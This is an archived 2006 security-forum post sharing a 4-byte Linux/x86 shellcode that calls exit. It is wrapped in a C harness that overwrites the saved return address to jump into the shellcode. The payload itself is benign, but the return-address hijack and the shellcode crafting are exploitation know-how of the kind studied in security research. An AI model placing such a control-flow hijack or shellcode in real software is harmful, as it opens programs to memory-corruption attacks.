邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2006-1-29 10:39

linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes

文章作者:izik

[code]/*
* (linux/x86) quick (yet conditional, eax != 0 and edx == 0) exit - 4 bytes
* - izik <[email]izik@tty64.org[/email]>
*/

char shellcode[] =

  "\xf7\xf0"          // div %eax
  "\xcd\x80";         // int $0x80

int main(int argc, char **argv) {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int) shellcode;
}[/code]

页: [1]
© 1999-2008 EvilOctal Security Team